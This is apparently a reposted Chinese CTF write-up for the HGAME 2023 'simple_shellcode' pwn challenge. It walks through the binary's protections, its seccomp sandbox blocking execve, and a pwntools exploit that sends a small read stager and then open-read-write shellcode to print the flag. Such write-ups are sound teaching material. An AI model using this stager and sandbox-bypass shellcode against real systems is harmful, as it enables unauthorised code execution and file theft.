当前位置: 首页 > news >正文

NSSCTF [HGAME 2023 week1]simple_shellcode

3488.[HGAME 2023 week1]simple_shellcode 手写read函数shellcode和orw

[HGAME 2023 week1]simple_shellcode

(1)

motaly@motaly-VMware-Virtual-Platform:~/桌面$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dba017c2b49353902d2f73017e362972705ab2cf, for GNU/Linux 3.2.0, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   75 Symbols	  No	0		1		vuln

(2)

用ida打开,按下F5(如果不行,看看有没有Fn键,Fn+F5)

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rcx
  __int64 v5; // r8
  __int64 v6; // r9

  init(argc, argv, envp);
  mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
  puts("Please input your shellcode:");
  read(0, (void *)0xCAFE0000LL, 0x10uLL);
  sandbox(0LL, 3405643776LL, v3, v4, v5, v6);
  MEMORY[0xCAFE0000]();
  return 0;
}

发现有个mmap函数(在指定地址映射一块内存区域)是可读可写可执行的

然后有一个read函数,限制读取长度只有16(0x10)

下面涉及到沙盒

(3)

查看一下限制

motaly@motaly-VMware-Virtual-Platform:~/桌面$ seccomp-tools dump ./vuln
Please input your shellcode:
aaaa
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0004
 0002: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0004
 0003: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0004: 0x06 0x00 0x00 0x00000000  return KILL

发现他把execve和execveat禁用了,所以用orw方法(这题的类型也是orw)

(4)

思路:

这里限制了一开始输入的shellcode长度,所以我们可以先手写一个read函数的shellcode,再写入orw的shellcode

1.先手写一个read函数的shellcode,并发送

(read函数有三个参数,分别对应rdi,rsi,rdx三个参数)

程序运行到最后rdx的值是内存空间的开始地址,所以我们把rdx赋值给rsi,作为read的第二个参数

2.然后构造第二条ROP链,主要是实现orw功能(打开flag文件,读取flag内容,写入到标准输出,最后flag值会在终端中显示),转换后发送

(这里要考虑前面手写shellcode的长度,生成对应长度的nop值后再发送orw的shellcode)

编写

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn', 26356)
# io = process('/home/motaly/桌面/vuln')
read=('''
    mov rsi, rdx   
    mov rdx, 0x100   
    xor rdi, rdi    
    syscall
''')
shellcode=asm(read)
io.send(shellcode)
addr=0xcafe0000+0x200
orw= shellcraft.open("./flag")+shellcraft.read(3, addr, 0x100)+shellcraft.write(1, addr, 0x100)
payload=b"\x90"*len(shellcode)+asm(orw)
io.send(payload)
io.interactive()

(4)

连接得到flag

[*] Switching to interactive mode
[DEBUG] Received 0x1d bytes:
    b'Please input your shellcode:\n'
Please input your shellcode:
[DEBUG] Received 0x100 bytes:
    00000000  4e 53 53 43  54 46 7b 39  30 65 65 37  64 38 62 2d  │NSSC│TF{9│0ee7│d8b-│
    00000010  39 34 37 34  2d 34 32 36  38 2d 62 37  34 37 2d 61  │9474│-426│8-b7│47-a│
    00000020  30 37 61 30  38 36 38 34  35 34 36 7d  0a 00 00 00  │07a0│8684│546}│····│
    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000100
NSSCTF{90ee7d8b-9474-4268-b747-a07a08684546}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
http://www.dtcms.com/a/112242.html

相关文章:

  • 音视频入门基础:MPEG2-PS专题(8)——使用Wireshark分析GB28181的PS流
  • 第十二步:react
  • 如何用Python轻松实现快速复制或剪切文件列表中的所有文件呢?
  • 【架构艺术】Go大仓monorepo中使用wire做依赖注入的经验
  • PowerMonitor的使用步骤
  • 【jvm】GC评估指标
  • 面试手撕------智能指针
  • 操作系统、虚拟化技术与云原生及云原生AI简述
  • JavaScript智能对话机器人——企业知识库自动化
  • 使用HTML5和CSS3实现炫酷的3D立方体动画
  • 地球科学领域常用python库
  • 软件工程面试题(十九)
  • Redis高级技能进阶
  • 【GPT写代码】动作视频切截图研究器
  • MATLAB中plot函数的详细参数表
  • 数据结构:二叉树(三)·(重点)
  • 医疗信息系统的主要痛点分析
  • session临时文件包含
  • 【教学类-102-02】自制剪纸图案(留白边、沿线剪)02——Python+PS自动化添加虚线边框
  • ROS订阅相机图像识别颜色并发布识别信息
  • 【进收藏夹吃灰】Python基础学习指南
  • 【读书笔记·VLSI电路设计方法解密】问题61:扫描插入的目的是什么
  • java 局部内部类
  • Git 教程:从 0 到 1 全面指南 教程【全文三万字保姆级详细讲解】
  • DPDI版本升级说明
  • AI提示词:分享卡片生成器
  • 浅析 Spring AI 与 Python:企业级 AI 开发的技术分野
  • 在Git中如何处理冲突?
  • 目前主流OCR/语义理解/ASR
  • 使用mcp自定义编写mcp tool,使用 conda 启动,在cline中配置使用